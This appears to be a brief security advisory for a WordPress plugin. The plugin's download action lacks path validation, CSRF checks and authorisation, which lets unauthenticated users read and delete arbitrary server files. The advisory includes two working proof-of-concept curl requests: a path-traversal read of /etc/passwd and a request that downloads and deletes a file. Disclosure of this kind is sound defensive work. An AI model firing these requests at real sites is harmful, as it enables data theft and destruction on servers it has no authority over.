Description The plugin does not validate file paths provided via user input, as well as does not have proper CSRF and authorisation checks, allowing unauthenticated users to download and delete arbitrary files on the server
To download /etc/passwd: curl 'https://example.com/?filename=../../../../../../etc/passwd&mphb_action=download'
To download and delete the /wp-content/uploads/delete-me.php file: curl 'https://example.com/?filename=../delete-me.php&mphb_action=download&remove=1'